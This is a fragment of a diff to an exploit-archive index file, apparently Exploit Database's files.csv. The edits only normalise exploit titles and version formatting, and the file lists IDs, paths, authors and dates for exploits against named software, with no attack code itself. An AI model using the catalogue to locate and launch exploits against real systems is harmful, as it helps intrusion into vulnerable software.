 23445,platforms/php/webapps/23445.txt,"osCommerce 2.2 osCsid Parameter Cross-Site Scripting Vulnerability",2003-12-17,JeiAr,php,webapps,0
 23446,platforms/windows/remote/23446.txt,"GoAhead Webserver 2.1.x ASP Script File Source Code Disclosure Vulnerability",2002-12-17,"Luigi Auriemma",windows,remote,0
 23447,platforms/cgi/webapps/23447.txt,"SiteInteractive Subscribe Me Setup.PL Arbitrary Command Execution Vulnerability",2003-12-18,"Paul Craig",cgi,webapps,0
-23448,platforms/php/webapps/23448.php,"phpwcms <= v1.5.4.6 ""preg_replace"" Multiple Vulnerabilities",2012-12-17,aeon,php,webapps,0
+23448,platforms/php/webapps/23448.php,"phpwcms <= 1.5.4.6 ""preg_replace"" - Multiple Vulnerabilities",2012-12-17,aeon,php,webapps,0
 23449,platforms/unix/remote/23449.txt,"Xerox MicroServer Web Server Remote Directory Traversal Vulnerability",2003-12-19,"J.A. Gutierrez",unix,remote,0
 23450,platforms/windows/remote/23450.txt,"PY Software Active Webcam 4.3 Webserver Directory Traversal Vulnerability",2003-12-19,"Luigi Auriemma",windows,remote,0
 23451,platforms/windows/remote/23451.txt,"PY Software Active Webcam 4.3 Webserver Cross-Site Scripting Vulnerability",2003-12-19,"Luigi Auriemma",windows,remote,0
@@ -20700,7 +20700,7 @@ id,file,description,date,author,platform,type,port
 23494,platforms/php/webapps/23494.txt,"Clockstone and other CMSMasters Theme File Upload Vulnerabilities",2012-12-19,DigiP,php,webapps,0
 23496,platforms/windows/dos/23496.txt,"DIMIN Viewer 5.4.0 GIF Decode Crash PoC",2012-12-19,"Lizhi Wang",windows,dos,0
 23498,platforms/hardware/webapps/23498.txt,"SonicWall SonicOS 5.8.1.8 WAF XSS Vulnerability",2012-12-19,Vulnerability-Lab,hardware,webapps,0
-23499,platforms/hardware/webapps/23499.txt,"Enterpriser16 Load Balancer v7.1 Multiple XSS Vulnerabilities",2012-12-19,Vulnerability-Lab,hardware,webapps,0
+23499,platforms/hardware/webapps/23499.txt,"Enterpriser16 Load Balancer 7.1 - Multiple XSS Vulnerabilities",2012-12-19,Vulnerability-Lab,hardware,webapps,0
 23500,platforms/windows/remote/23500.rb,"InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",2012-12-20,metasploit,windows,remote,0
 23501,platforms/windows/dos/23501.c,"Alt-N MDaemon 6.x/WorldClient Form2Raw Raw Message Handler Buffer Overflow Vulnerability (1)",2003-12-29,"Behrang Fouladi",windows,dos,0
 23502,platforms/windows/remote/23502.c,"Alt-N MDaemon 6.x/WorldClient Form2Raw Raw Message Handler Buffer Overflow Vulnerability (2)",2003-12-29,"Rosiello Security",windows,remote,0
@@ -20732,9 +20732,9 @@ id,file,description,date,author,platform,type,port
 23529,platforms/windows/remote/23529.txt,"SnapStream PVS Lite 2.0 Cross-Site Scripting Vulnerability",2004-01-06,"Rafel Ivgi",windows,remote,0
 23530,platforms/windows/dos/23530.c,"Kroum Grigorov KpyM Telnet Server 1.0 Remote Denial Of Service Vulnerability",2004-01-07,NoRpiuS,windows,dos,0
 23531,platforms/windows/remote/23531.c,"HD Soft Windows FTP Server 1.5/1.6 Username Format String Vulnerability",2004-01-12,mandragore,windows,remote,0
-23532,platforms/windows/remote/23532.txt,"Hand-Crafted Software FreeProxy 3.5/3.6 FreeWeb Directory Traversal Vulnerability",2004-01-09,badpack3t,windows,remote,0
+23532,platforms/windows/remote/23532.txt,"Hand-Crafted Software FreeProxy 3.5/3.6 - FreeWeb Directory Traversal Vulnerability",2004-01-09,badpack3t,windows,remote,0
 23533,platforms/windows/remote/23533.txt,"Accipiter DirectServer 6.0 Remote File Disclosure Vulnerability",2004-01-09,"Mark Bassett",windows,remote,0
-23534,platforms/windows/dos/23534.txt,"Hand-Crafted Software FreeProxy 3.5/3.6 FreeWeb CreateFile Function Denial of Service Vulnerability",2004-01-09,badpack3t,windows,dos,0
+23534,platforms/windows/dos/23534.txt,"Hand-Crafted Software FreeProxy 3.5/3.6 - FreeWeb CreateFile Function Denial of Service Vulnerability",2004-01-09,badpack3t,windows,dos,0
 23535,platforms/cgi/webapps/23535.txt,"DansGuardian Webmin Module 0.x Edit.CGI Remote Directory Traversal Vulnerability",2004-01-10,FIST,cgi,webapps,0
 23536,platforms/php/webapps/23536.txt,"Andy's PHP Projects Man Page Lookup Script Information Disclosure Vulnerability",2004-01-10,"Cabezon Aurelien",php,webapps,0
 23537,platforms/php/webapps/23537.txt,"VisualShapers EZContents 1.4/2.0 Module.PHP Remote Command Execution Vulnerability",2004-01-10,"Zero X",php,webapps,0
@@ -20770,7 +20770,7 @@ id,file,description,date,author,platform,type,port
 23568,platforms/windows/dos/23568.txt,"Sony PC Companion 2.1 (CheckCompatibility()) Stack-based Unicode Buffer Overflow",2012-12-21,LiquidWorm,windows,dos,0
 23569,platforms/windows/dos/23569.txt,"Sony PC Companion 2.1 (Admin_RemoveDirectory()) Stack-based Unicode Buffer Overflow",2012-12-21,LiquidWorm,windows,dos,0
 23571,platforms/asp/webapps/23571.txt,"SelectSurvey CMS (ASP.NET) Arbitrary File Upload",2012-12-21,040,asp,webapps,0
-23572,platforms/hardware/webapps/23572.txt,"YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 Multiple Vulnerabilities",2012-12-21,xistence,hardware,webapps,0
+23572,platforms/hardware/webapps/23572.txt,"YeaLink IP Phone SIP-TxxP firmware <= 9.70.0.100 - Multiple Vulnerabilities",2012-12-21,xistence,hardware,webapps,0
 23573,platforms/php/webapps/23573.txt,"Banana Dance B.2.6 Multiple Vulnerabilities",2012-12-21,"High-Tech Bridge SA",php,webapps,0
 23574,platforms/windows/dos/23574.txt,"FireFly Mediaserver 1.0.0.1359 NULL Pointer Dereference",2012-12-21,"High-Tech Bridge SA",windows,dos,0
 23575,platforms/php/webapps/23575.txt,"Elite Bulletin Board 2.1.21 Multiple SQL Injection Vulnerabilities",2012-12-21,"High-Tech Bridge SA",php,webapps,0
@@ -20886,10 +20886,10 @@ id,file,description,date,author,platform,type,port
 23690,platforms/linux/dos/23690.txt,"XFree86 4.x CopyISOLatin1Lowered Font_Name Buffer Overflow Vulnerability",2004-02-12,"Greg MacManus",linux,dos,0
 23691,platforms/php/webapps/23691.txt,"VBulletin 3.0 Search.PHP Cross-Site Scripting Vulnerability",2004-02-13,"Rafel Ivgi The-Insider",php,webapps,0
 23692,platforms/windows/dos/23692.txt,"Sami FTP Server 1.1.3 Invalid Command Argument Local DoS",2004-02-13,"intuit e.b.",windows,dos,0
-23693,platforms/windows/dos/23693.txt,"Sami FTP Server 1.1.3 Library Crafted GET Request Remote DoS",2004-02-13,"intuit e.b.",windows,dos,0
+23693,platforms/windows/dos/23693.txt,"Sami FTP Server 1.1.3 - Library Crafted GET Request Remote DoS",2004-02-13,"intuit e.b.",windows,dos,0
 23694,platforms/windows/remote/23694.rb,"RealPlayer RealMedia File Handling Buffer Overflow",2012-12-27,metasploit,windows,remote,0
 23695,platforms/windows/remote/23695.txt,"Microsoft Internet Explorer 5.0.1 ITS Protocol Zone Bypass Vulnerability",2004-02-13,Anonymous,windows,remote,0
-23696,platforms/asp/webapps/23696.pl,"ASP Portal  Multiple Vulnerabilities",2004-02-01,"Manuel Lopez",asp,webapps,0
+23696,platforms/asp/webapps/23696.pl,"ASP Portal Multiple Vulnerabilities",2004-02-01,"Manuel Lopez",asp,webapps,0
 23697,platforms/php/webapps/23697.txt,"AllMyGuests 0.x info.inc.php Arbitrary Code Execution",2004-02-16,"Pablo Santana",php,webapps,0
 23698,platforms/php/webapps/23698.txt,"AllMyVisitors 0.x info.inc.php Arbitrary Code Execution",2004-02-16,"Pablo Santana",php,webapps,0
 23699,platforms/php/webapps/23699.txt,"AllMyLinks 0.x footer.inc.php Arbitrary Code Execution",2004-02-16,"Pablo Santana",php,webapps,0
@@ -21018,10 +21018,10 @@ id,file,description,date,author,platform,type,port
 23823,platforms/php/webapps/23823.txt,"VBulletin 3.0 ShowThread.PHP Cross-Site Scripting Vulnerability",2004-03-16,JeiAr,php,webapps,0
 23824,platforms/php/webapps/23824.txt,"Mambo Open Source 4.5 index.php Multiple Parameter XSS",2004-03-16,JeiAr,php,webapps,0
 23825,platforms/php/webapps/23825.txt,"Mambo Open Source 4.5 index.php mos_change_template Parameter XSS",2004-03-16,JeiAr,php,webapps,0
-23828,platforms/php/webapps/23828.txt,"e107 v1.0.1 CSRF Resulting in Arbitrary Javascript Execution",2013-01-02,"Joshua Reynolds",php,webapps,0
-23829,platforms/php/webapps/23829.txt,"e107 v1.0.2 CSRF Resulting in SQL Injection",2013-01-02,"Joshua Reynolds",php,webapps,0
-23830,platforms/linux/dos/23830.py,"Astium VoIP PBX <= v2.1 build 25399 Remote Crash PoC",2013-01-02,xistence,linux,dos,5655
-23831,platforms/php/webapps/23831.py,"Astium VoIP PBX <= v2.1 build 25399 Multiple Vulns Remote Root Exploit",2013-01-02,xistence,php,webapps,0
+23828,platforms/php/webapps/23828.txt,"e107 1.0.1 - CSRF Resulting in Arbitrary Javascript Execution",2013-01-02,"Joshua Reynolds",php,webapps,0
+23829,platforms/php/webapps/23829.txt,"e107 1.0.2 - CSRF Resulting in SQL Injection",2013-01-02,"Joshua Reynolds",php,webapps,0
+23830,platforms/linux/dos/23830.py,"Astium VoIP PBX <= 2.1 build 25399 - Remote Crash PoC",2013-01-02,xistence,linux,dos,5655
+23831,platforms/php/webapps/23831.py,"Astium VoIP PBX <= 2.1 build 25399 - Multiple Vulns Remote Root Exploit",2013-01-02,xistence,php,webapps,0
 23834,platforms/php/webapps/23834.txt,"Mambo Open Source 4.5 Index.PHP SQL Injection Vulnerability",2004-03-16,JeiAr,php,webapps,0
 23835,platforms/php/webapps/23835.txt,"PHP-Nuke 6.x/7.0/7.1 Image Tag Admin Command Execution Vulnerability",2004-03-16,"Janek Vind",php,webapps,0
 23836,platforms/windows/remote/23836.txt,"IBM Lotus Domino 6/7 HTTP webadmin.nsf Directory Traversal Vulnerability",2004-03-17,dr_insane,windows,remote,0
@@ -21109,7 +21109,7 @@ id,file,description,date,author,platform,type,port
 23919,platforms/windows/dos/23919.txt,"Symantec Security Check Virus Detection COM Object Denial Of Service Vulnerability",2004-04-07,"Rafel Ivgi The-Insider",windows,dos,0
 23920,platforms/windows/dos/23920.txt,"Mcafee FreeScan CoMcFreeScan Browser Object Buffer Overflow Vulnerability",2004-04-07,"Rafel Ivgi The-Insider",windows,dos,0
 23921,platforms/windows/local/23921.c,"Centrinity FirstClass Desktop Client 7.1 Local Buffer Overflow Vulnerability",2004-04-07,I2S-LaB,windows,local,0
-23923,platforms/windows/dos/23923.py,"FoxPlayer v2.9.0 Denial of Service Vulnerability",2013-01-06,metacom,windows,dos,0
+23923,platforms/windows/dos/23923.py,"FoxPlayer 2.9.0 - Denial of Service Vulnerability",2013-01-06,metacom,windows,dos,0
 23924,platforms/multiple/webapps/23924.txt,"Nexpose Security Console CSRF Vulnerability",2013-01-06,"Robert Gilbert",multiple,webapps,0
 23925,platforms/windows/dos/23925.txt,"Kerio Personal Firewall 4.0.x Web Filtering Remote Denial Of Service Vulnerability",2004-04-07,E.Kellinis,windows,dos,0
 23926,platforms/windows/remote/23926.txt,"Mcafee FreeScan CoMcFreeScan Browser Information Disclosure Vulnerability",2004-04-07,"S G Masood",windows,remote,0
@@ -21180,11 +21180,11 @@ id,file,description,date,author,platform,type,port
 23993,platforms/php/webapps/23993.txt,"Websitebaker Add-on Concert Calendar 2.1.4 Multiple Vulnerabilities",2013-01-09,"Stefan Schurtz",php,webapps,0
 23994,platforms/php/webapps/23994.txt,"Free Blog 1.0 Multiple Vulnerabilities",2013-01-09,cr4wl3r,php,webapps,0
 23995,platforms/hardware/webapps/23995.txt,"Watson Management Console 4.11.2.G Directory Traversal Vulnerability",2013-01-09,"Dhruv Shah",hardware,webapps,0
-23996,platforms/windows/local/23996.py,"Inmatrix Ltd. Zoom Player 8.5 Crafted JPEG File Exploit",2013-01-09,"Debasish Mandal",windows,local,0
+23996,platforms/windows/local/23996.py,"Inmatrix Ltd. Zoom Player 8.5 - (.jpeg) Exploit",2013-01-09,"Debasish Mandal",windows,local,0
 23997,platforms/php/webapps/23997.txt,"WeBid 1.0.6 SQL Injection Vulnerability",2013-01-09,"Life Wasted",php,webapps,0
 23998,platforms/php/webapps/23998.txt,"PHP-Nuke 6.x/7.x Multiple SQL Injection Vulnerabilities",2004-04-13,waraxe,php,webapps,0
 23999,platforms/linux/dos/23999.txt,"Neon WebDAV Client Library 0.2x Format String Vulnerabilities",2004-04-14,"Thomas Wana",linux,dos,0
-24000,platforms/windows/dos/24000.pl,"Qualcomm Eudora 6.0.3  MIME Message Nesting Denial of Service Vulnerability",2004-04-14,"Paul Szabo",windows,dos,0
+24000,platforms/windows/dos/24000.pl,"Qualcomm Eudora 6.0.3 MIME Message Nesting Denial of Service Vulnerability",2004-04-14,"Paul Szabo",windows,dos,0
 24001,platforms/cgi/webapps/24001.txt,"Rhino Software Zaep AntiSpam 2.0 Cross-Site Scripting Vulnerability",2004-04-14,"Noam Rathaus",cgi,webapps,0
 24002,platforms/windows/dos/24002.py,"Microsoft Outlook Express 6.0 Remote Denial Of Service Vulnerability",2004-04-14,"Ben Rampling",windows,dos,0
 24003,platforms/php/webapps/24003.txt,"phpBugTracker 0.9 query.php Multiple Parameter SQL Injection",2004-04-15,JeiAr,php,webapps,0
@@ -21202,7 +21202,7 @@ id,file,description,date,author,platform,type,port
 24015,platforms/bsd/local/24015.c,"BSD-Games 2.x Mille Local Save Game File Name Buffer Overrun Vulnerability",2004-04-17,N4rK07IX,bsd,local,0
 24016,platforms/php/webapps/24016.txt,"Phorum 3.4.x Phorum_URIAuth SQL Injection Vulnerability",2004-04-19,"Janek Vind",php,webapps,0
 24017,platforms/windows/remote/24017.html,"Internet Explorer 8 Fixed Col Span ID full ASLR & DEP bypass",2013-01-10,sickness,windows,remote,0
-24018,platforms/php/remote/24018.rb,"eXtplorer v2.1 Arbitrary File Upload Vulnerability",2013-01-10,metasploit,php,remote,0
+24018,platforms/php/remote/24018.rb,"eXtplorer 2.1 - Arbitrary File Upload Vulnerability",2013-01-10,metasploit,php,remote,0
 24019,platforms/multiple/remote/24019.rb,"Ruby on Rails XML Processor YAML Deserialization Code Execution",2013-01-10,metasploit,multiple,remote,0
 24020,platforms/windows/remote/24020.rb,"Microsoft Internet Explorer Option Element Use-After-Free",2013-01-10,metasploit,windows,remote,0
 24021,platforms/windows/remote/24021.rb,"Honeywell Tema Remote Installer ActiveX Remote Code Execution",2013-01-10,metasploit,windows,remote,0
@@ -21292,8 +21292,8 @@ id,file,description,date,author,platform,type,port
 24106,platforms/linux/remote/24106.txt,"Open WebMail 1.x/2.x Remote Command Execution Variant Vulnerability",2004-05-10,Nullbyte,linux,remote,0
 24107,platforms/windows/dos/24107.pl,"EMule Web 0.42 Control Panel Denial Of Service Vulnerability",2004-05-10,"Rafel Ivgi The-Insider",windows,dos,0
 24108,platforms/php/webapps/24108.txt,"CMS phpshop 2.0 SQL Injection Vulnerability",2013-01-14,"By onestree",php,webapps,0
-24110,platforms/windows/dos/24110.py,"Serva v2.0.0 DNS Server QueryName Remote Denial of Service Vulnerability",2013-01-14,"Julien Ahrens",windows,dos,0
-24111,platforms/windows/dos/24111.py,"Serva v2.0.0 HTTP Server GET Remote Denial of Service Vulnerability",2013-01-14,"Julien Ahrens",windows,dos,0
+24110,platforms/windows/dos/24110.py,"Serva 2.0.0 - DNS Server QueryName Remote Denial of Service Vulnerability",2013-01-14,"Julien Ahrens",windows,dos,0
+24111,platforms/windows/dos/24111.py,"Serva 2.0.0 - HTTP Server GET Remote Denial of Service Vulnerability",2013-01-14,"Julien Ahrens",windows,dos,0
 24112,platforms/windows/dos/24112.txt,"Microsoft Internet Explorer 6.0 XML Parsing Denial Of Service Vulnerability",2004-05-10,"Rafel Ivgi The-Insider",windows,dos,0
 24113,platforms/bsd/local/24113.c,"NetBSD/FreeBSD Port Systrace 1.x Exit Routine Access Validation Privilege Escalation Vulnerability",2004-05-11,"Stefan Esser",bsd,local,0
 24114,platforms/windows/remote/24114.html,"Microsoft Outlook 2003Mail Client E-mail Address Verification Weakness",2004-05-11,http-equiv,windows,remote,0
@@ -21422,7 +21422,7 @@ id,file,description,date,author,platform,type,port
 24240,platforms/php/webapps/24240.txt,"CuteNews 0.88/1.3 show_archives.php id Parameter XSS",2004-06-28,DarkBicho,php,webapps,0
 24241,platforms/php/webapps/24241.txt,"PowerPortal 1.1/1.3 modules.php Traversal Arbitrary Directory Listing",2004-06-28,DarkBicho,php,webapps,0
 24242,platforms/multiple/dos/24242.java,"Sun Java Runtime Environment 1.4.x Font Object Assertion Failure Denial Of Service Vulnerability",2004-06-28,"Marc Schoenefeld",multiple,dos,0
-24243,platforms/unix/dos/24243.txt,"IBM Lotus Domino Server 6 Web Access Malicious Email View Remote Denial Of Service Vulnerability",2004-06-30,"Andreas Klein",unix,dos,0
+24243,platforms/unix/dos/24243.txt,"IBM Lotus Domino Server 6 - Web Access Remote Denial Of Service Vulnerability",2004-06-30,"Andreas Klein",unix,dos,0
 24244,platforms/cgi/webapps/24244.txt,"Netegrity IdentityMinder Web Edition 5.6 Null Byte XSS",2004-07-01,vuln@hexview.com,cgi,webapps,0
 24245,platforms/cgi/webapps/24245.txt,"Netegrity IdentityMinder Web Edition 5.6 Management Interface XSS",2004-07-01,vuln@hexview.com,cgi,webapps,0
 24246,platforms/multiple/remote/24246.txt,"SCI Photo Chat 3.4.9 Cross-Site Scripting Vulnerability",2004-07-20,"Donato Ferrante",multiple,remote,0
@@ -21451,7 +21451,7 @@ id,file,description,date,author,platform,type,port
 24269,platforms/php/webapps/24269.txt,"NConf 1.3 (detail.php detail_admin_items.php, id parameter) SQL Injection",2013-01-21,haidao,php,webapps,0
 24270,platforms/php/webapps/24270.txt,"NConf 1.3 Arbitrary File Creation",2013-01-21,haidao,php,webapps,0
 24272,platforms/multiple/remote/24272.rb,"Jenkins Script-Console Java Execution",2013-01-21,metasploit,multiple,remote,0
-24273,platforms/php/remote/24273.rb,"PHP-Charts v1.0 PHP Code Execution Vulnerability",2013-01-21,metasploit,php,remote,0
+24273,platforms/php/remote/24273.rb,"PHP-Charts 1.0 - PHP Code Execution Vulnerability",2013-01-21,metasploit,php,remote,0
 24274,platforms/php/webapps/24274.pl,"phpBB 2.0.x Viewtopic.PHP PHP Script Injection Vulnerability",2004-07-12,"sasan hezarkhani",php,webapps,0
 24275,platforms/unix/dos/24275.txt,"IBM Lotus Notes 6.0/6.5 Multiple Java Applet Vulnerabilities",2004-07-13,"Jouko Pynnonen",unix,dos,0
 24276,platforms/windows/remote/24276.txt,"Mozilla Browser 0.9/1.x Cache File Multiple Vulnerabilities",2004-07-13,"Mind Warper",windows,remote,0
@@ -21574,7 +21574,7 @@ id,file,description,date,author,platform,type,port
 24393,platforms/php/webapps/24393.txt,"MyDMS 1.4 SQL Injection Vulnerability And Directory Traversal Vulnerability",2004-08-21,"Jose Antonio",php,webapps,0
 24394,platforms/multiple/dos/24394.txt,"Opera Web Browser 7.23 JavaScript Denial Of Service Vulnerability",2004-08-21,sourvivor,multiple,dos,0
 24395,platforms/windows/dos/24395.txt,"Internet Explorer 6.0,Firefox 0.8/0.9.x JavaScript Denial Of Service Vulnerability",2004-08-23,MeFakon,windows,dos,0
-24396,platforms/php/webapps/24396.txt,"JShop E-Commerce Suite v3 Page.PHP Cross-Site Scripting Vulnerability",2004-08-23,"Dr Ponidi Haryanto",php,webapps,0
+24396,platforms/php/webapps/24396.txt,"JShop E-Commerce Suite 3.0 - Page.PHP Cross-Site Scripting Vulnerability",2004-08-23,"Dr Ponidi Haryanto",php,webapps,0
 24397,platforms/asp/webapps/24397.txt,"Compulsive Media CNU5 News.mdb Database Disclosure Vulnerability",2004-08-23,"Security .Net Information",asp,webapps,0
 24398,platforms/linux/local/24398.sh,"IMWheel 1.0 Predictable Temporary File Creation Vulnerability",2004-08-23,I)ruid,linux,local,0
 24399,platforms/php/webapps/24399.txt,"PhotoADay Pad_selected Parameter Cross-Site Scripting Vulnerability",2004-08-23,"King Of Love",php,webapps,0
@@ -21609,8 +21609,8 @@ id,file,description,date,author,platform,type,port
 24433,platforms/php/webapps/24433.txt,"PHP Weby Directory Software 1.2 Multiple Vulnerabilities",2013-01-28,AkaStep,php,webapps,0
 24434,platforms/multiple/remote/24434.rb,"Ruby on Rails JSON Processor YAML Deserialization Code Execution",2013-01-29,metasploit,multiple,remote,0
 24435,platforms/hardware/webapps/24435.txt,"Fortinet FortiMail 400 IBE Multiple Vulnerabilities",2013-01-29,Vulnerability-Lab,hardware,webapps,0
-24436,platforms/php/webapps/24436.txt,"Kohana Framework v2.3.3 Directory Traversal Vulnerability",2013-01-29,Vulnerability-Lab,php,webapps,0
-24437,platforms/windows/dos/24437.py,"Apple Quick Time Player (Windows) Version 7.7.3 Out of Bound Read",2013-01-29,"Debasish Mandal",windows,dos,0
+24436,platforms/php/webapps/24436.txt,"Kohana Framework 2.3.3 - Directory Traversal Vulnerability",2013-01-29,Vulnerability-Lab,php,webapps,0
+24437,platforms/windows/dos/24437.py,"Apple Quick Time Player (Windows) 7.7.3 - Out of Bound Read",2013-01-29,"Debasish Mandal",windows,dos,0
 24438,platforms/php/webapps/24438.txt,"DataLife Engine 9.7 (preview.php) PHP Code Injection Vulnerability",2013-01-28,EgiX,php,webapps,0
 24439,platforms/freebsd/webapps/24439.txt,"PFsense UTM Platform 2.0.1 XSS Vulnerability",2013-01-29,"Dimitris Strevinas",freebsd,webapps,0
 24441,platforms/hardware/webapps/24441.txt,"Netgear SPH200D Multiple Vulnerabilities",2013-01-31,m-1-k-3,hardware,webapps,0
@@ -21624,7 +21624,7 @@ id,file,description,date,author,platform,type,port
 24451,platforms/php/webapps/24451.txt,"ArrowChat 1.5.61 Multiple Vulnerabilities",2013-02-05,kallimero,php,webapps,0
 24452,platforms/php/webapps/24452.txt,"AdaptCMS 2.0.4 (config.php, question parameter) SQL Injection Vulnerability",2013-02-05,kallimero,php,webapps,0
 24453,platforms/hardware/webapps/24453.txt,"D-Link DIR-600 and DIR-300 (rev B) Multiple Vulnerabilities",2013-02-05,m-1-k-3,hardware,webapps,0
-24454,platforms/php/webapps/24454.txt,"Free Monthly Websites v2.0 Multiple Vulnerabilities",2013-02-05,X-Cisadane,php,webapps,0
+24454,platforms/php/webapps/24454.txt,"Free Monthly Websites 2.0 - Multiple Vulnerabilities",2013-02-05,X-Cisadane,php,webapps,0
 24455,platforms/unix/remote/24455.rb,"Portable UPnP SDK unique_service_name() Remote Code Execution",2013-02-05,metasploit,unix,remote,0
 24456,platforms/php/webapps/24456.txt,"Glossword 1.8.12 Multiple Vulnerabilities",2013-02-05,AkaStep,php,webapps,0
 24457,platforms/php/webapps/24457.txt,"Glossword 1.8.3 SQL Injection Vulnerability",2013-02-05,AkaStep,php,webapps,0
@@ -21632,11 +21632,11 @@ id,file,description,date,author,platform,type,port
 24459,platforms/linux/dos/24459.sh,"Linux Kernel /dev/ptmx Key Stroke Timing Local Disclosure",2013-02-05,vladz,linux,dos,0
 24460,platforms/windows/remote/24460.rb,"VMWare OVF Tools Format String Vulnerability",2013-02-06,metasploit,windows,remote,0
 24461,platforms/windows/remote/24461.rb,"VMWare OVF Tools Format String Vulnerability",2013-02-12,metasploit,windows,remote,0
-24462,platforms/php/webapps/24462.txt,"Hiverr v2.2 - Multiple Vulnerabilities",2013-02-06,xStarCode,php,webapps,0
+24462,platforms/php/webapps/24462.txt,"Hiverr 2.2 - Multiple Vulnerabilities",2013-02-06,xStarCode,php,webapps,0
 24463,platforms/windows/dos/24463.txt,"Cool PDF Reader 3.0.2.256 Buffer Overflow",2013-02-07,"Chris Gabriel",windows,dos,0
 24464,platforms/hardware/webapps/24464.txt,"Netgear DGN1000B - Multiple Vulnerabilities",2013-02-07,m-1-k-3,hardware,webapps,0
 24465,platforms/php/webapps/24465.txt,"CubeCart 5.2.0 (cubecart.class.php) PHP Object Injection Vulnerability",2013-02-07,EgiX,php,webapps,0
-24466,platforms/hardware/webapps/24466.txt,"WirelessFiles v1.1 iPad iPhone - Multiple Vulnerabilities",2013-02-07,Vulnerability-Lab,hardware,webapps,0
+24466,platforms/hardware/webapps/24466.txt,"WirelessFiles 1.1 iPad iPhone - Multiple Vulnerabilities",2013-02-07,Vulnerability-Lab,hardware,webapps,0
 24467,platforms/windows/remote/24467.rb,"ActFax 5.01 RAW Server Exploit",2013-02-07,"Craig Freyman",windows,remote,0
 24468,platforms/windows/dos/24468.pl,"KMPlayer Denial Of Service All Versions",2013-02-10,Jigsaw,windows,dos,0
 24472,platforms/php/webapps/24472.txt,"Easy Live Shop System SQL Injection Vulnerability",2013-02-10,"Ramdan Yantu",php,webapps,0
@@ -21657,16 +21657,16 @@ id,file,description,date,author,platform,type,port
 24492,platforms/php/webapps/24492.php,"OpenEMR 4.1.1 (ofc_upload_image.php) Arbitrary File Upload Vulnerability",2013-02-13,LiquidWorm,php,webapps,0
 24494,platforms/hardware/remote/24494.rb,"Polycom HDX Telnet Authorization Bypass",2013-02-14,"Paul Haas",hardware,remote,23
 24495,platforms/windows/remote/24495.rb,"Microsoft Internet Explorer SLayoutRun Use-After-Free (MS13-009)",2013-02-14,"Scott Bell",windows,remote,0
-24496,platforms/windows/webapps/24496.txt,"Sonicwall Scrutinizer v9.5.2 - SQL Injection Vulnerability",2013-02-14,Vulnerability-Lab,windows,webapps,0
-24497,platforms/hardware/webapps/24497.txt,"Transferable Remote v1.1 iPad iPhone - Multiple Vulnerabilities",2013-02-14,Vulnerability-Lab,hardware,webapps,0
-24498,platforms/hardware/webapps/24498.txt,"OpenPLI v3.0 beta (OpenPLi-beta-dm7000-20130127-272) - Multiple Vulnerabilities",2013-02-14,m-1-k-3,hardware,webapps,0
+24496,platforms/windows/webapps/24496.txt,"Sonicwall Scrutinizer 9.5.2 - SQL Injection Vulnerability",2013-02-14,Vulnerability-Lab,windows,webapps,0
+24497,platforms/hardware/webapps/24497.txt,"Transferable Remote 1.1 iPad iPhone - Multiple Vulnerabilities",2013-02-14,Vulnerability-Lab,hardware,webapps,0
+24498,platforms/hardware/webapps/24498.txt,"OpenPLI 3.0 beta (OpenPLi-beta-dm7000-20130127-272) - Multiple Vulnerabilities",2013-02-14,m-1-k-3,hardware,webapps,0
 24499,platforms/hardware/webapps/24499.txt,"Raidsonic IB-NAS5220 and IB-NAS4220-B - Multiple Vulnerabilities",2013-02-14,m-1-k-3,hardware,webapps,0
-24500,platforms/windows/webapps/24500.txt,"Sonicwall OEM Scrutinizer v9.5.2 - Multiple Vulnerabilities",2013-02-14,Vulnerability-Lab,windows,webapps,0
+24500,platforms/windows/webapps/24500.txt,"Sonicwall OEM Scrutinizer 9.5.2 - Multiple Vulnerabilities",2013-02-14,Vulnerability-Lab,windows,webapps,0
 24501,platforms/php/webapps/24501.txt,"Ultra Light Forum Persistant XSS Vulnerability",2013-02-14,cr4wl3r,php,webapps,0
 24502,platforms/windows/remote/24502.rb,"Foxit Reader Plugin URL Processing Buffer Overflow",2013-02-14,metasploit,windows,remote,0
 24503,platforms/hardware/webapps/24503.txt,"Edimax EW-7206-APg and EW-7209APg - Multiple Vulnerabilities",2013-02-15,m-1-k-3,hardware,webapps,0
 24504,platforms/hardware/webapps/24504.txt,"TP-Link TL-WA701N / TL-WA701ND - Multiple Vulnerabilities",2013-02-15,m-1-k-3,hardware,webapps,0
-24505,platforms/windows/local/24505.py,"Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Exploit",2013-02-15,"Julien Ahrens",windows,local,0
+24505,platforms/windows/local/24505.py,"Photodex ProShow Producer 5.0.3297 - (.pxs) Memory Corruption Exploit",2013-02-15,"Julien Ahrens",windows,local,0
 24506,platforms/php/webapps/24506.txt,"Cometchat - Multiple Vulnerabilities",2013-02-15,B127Y,php,webapps,0
 24507,platforms/php/webapps/24507.txt,"chillyCMS 1.3.0 - Multiple Vulnerabilities",2013-02-15,"Abhi M Balakrishnan",php,webapps,0
 24508,platforms/php/webapps/24508.txt,"Scripts Genie Gallery Personals (gallery.php, L param) - SQL Injection Vulnerability",2013-02-17,3spi0n,php,webapps,0
@@ -21678,7 +21678,7 @@ id,file,description,date,author,platform,type,port
 24514,platforms/php/webapps/24514.txt,"Scripts Genie Pet Rate Pro - Multiple Vulnerabilities",2013-02-18,TheMirkin,php,webapps,0
 24515,platforms/php/webapps/24515.txt,"Cometchat Application - Multiple Vulnerabilities",2013-02-18,z3r0sPlOiT,php,webapps,0
 24516,platforms/php/webapps/24516.txt,"Scripts Genie Hot Scripts Clone (showcategory.php, cid param) - SQL Injection Vulnerability",2013-02-18,"Easy Laster",php,webapps,0
-24517,platforms/hardware/webapps/24517.txt,"USB Sharp v1.3.4 iPad iPhone - Multiple Vulnerabilities",2013-02-18,Vulnerability-Lab,hardware,webapps,0
+24517,platforms/hardware/webapps/24517.txt,"USB Sharp 1.3.4 iPad iPhone - Multiple Vulnerabilities",2013-02-18,Vulnerability-Lab,hardware,webapps,0
 24520,platforms/php/webapps/24520.txt,"Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability",2013-02-19,LiquidWorm,php,webapps,0
 24522,platforms/php/webapps/24522.txt,"RTTucson Quotations Database - Multiple Vulnerabilities",2013-02-20,3spi0n,php,webapps,0
 24526,platforms/windows/remote/24526.py,"MS Office 2010 Download Execute",2013-02-20,g11tch,windows,remote,0
@@ -21696,14 +21696,14 @@ id,file,description,date,author,platform,type,port
 24539,platforms/multiple/remote/24539.rb,"Java Applet JMX Remote Code Execution",2013-02-25,metasploit,multiple,remote,0
